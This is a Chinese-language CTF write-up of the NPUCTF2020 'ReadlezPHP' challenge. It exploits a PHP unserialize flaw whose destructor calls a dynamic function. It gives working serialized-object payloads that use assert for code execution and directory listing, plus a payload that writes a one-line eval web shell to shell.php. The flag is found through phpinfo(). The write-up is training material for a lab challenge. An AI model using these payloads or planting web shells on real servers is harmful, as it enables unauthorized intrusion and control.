[NPUCTF2020]ReadlezPHP
从响应源码中可以看到:
<p>百万前端的NPU报时中心为您报时:<a href="./time.php?source"></a></p>
<SCRIPT language=javascript>
function runClock() {
theTime = window.setTimeout("runClock()", 100);
var today = new Date();
var display= today.toLocaleString();
window.status=""+display+"大黑阔HELEN";
}runClock();
</SCRIPT>
访问/time.php?source:
<?php
#error_reporting(0);
class HelloPhp
{public $a;public $b;public function __construct(){$this->a = "Y-m-d h:i:s";$this->b = "date";}public function __destruct(){$a = $this->a;$b = $this->b;echo $b($a);}
}
$c = new HelloPhp;if(isset($_GET['source']))
{highlight_file(__FILE__);die(0);
}@$ppp = unserialize($_GET["data"]);2025-07-25 07:13:09
反序列化漏洞,魔术方法中$a($b)应该是函数调用吧。尝试一下:
直接就成功了。
那植入一句话木马试试:
O:8:"HelloPhp":2:{s:1:"a";s:8:"echo 123";s:1:"b";s:4:"eval";}
访问就出错,应该是eval不能使用。哦对eval不是函数,不能用在函数动态调用。
(补充:O:8:"HelloPhp":2:{s:1:"a";s:15:"eval($_POST[0])";s:1:"b";s:6:"assert";}能植入木马)
尝试一下file_get_contents('index.php')发现直接返回首页了,为啥呢?
O:8:"HelloPhp":2:{s:1:"a";s:22:"var_dump(scandir('.'))";s:1:"b";s:6:"assert";}
assert 断言检测 用于判断一个表达式是否成立,返回true or false,会执行其中的表达式
执行结果:array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(8) "time.php" } 2025-07-25 08:21:52
O:8:"HelloPhp":2:{s:1:"a";s:33:"var_dump(scandir('../../../../'))";s:1:"b";s:6:"assert";}
执行结果:
array(23) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(10) "FIag_!S_it" [4]=> string(3) "bin" [5]=> string(4) "boot" [6]=> string(3) "dev" [7]=> string(3) "etc" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(3) "sys" [20]=> string(3) "tmp" [21]=> string(3) "usr" [22]=> string(3) "var" } 2025-07-25 08:23:46
没找到flag,尝试植入一句话木马:
O:8:"HelloPhp":2:{s:1:"a";s:66:"file_put_contents('shell.php','<?php @eval($_POST[0]);echo 123?>')";s:1:"b";s:6:"assert";}
可以看到成功了。但是用蚁剑连接后看不到任何文件。 手动传参发现网页直接出错了,不知道为啥。看一眼答案,flag居然通过phpinfo()看到。
O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
在Environment里面可以看到flag。
总结一下:这道题考了反序列化和动态函数调用。有几个需要注意的点,第一,eval不是函数;第二,flag可能在php配置信息中。不知道为什么这里植入一句话木马之后不能正常使用。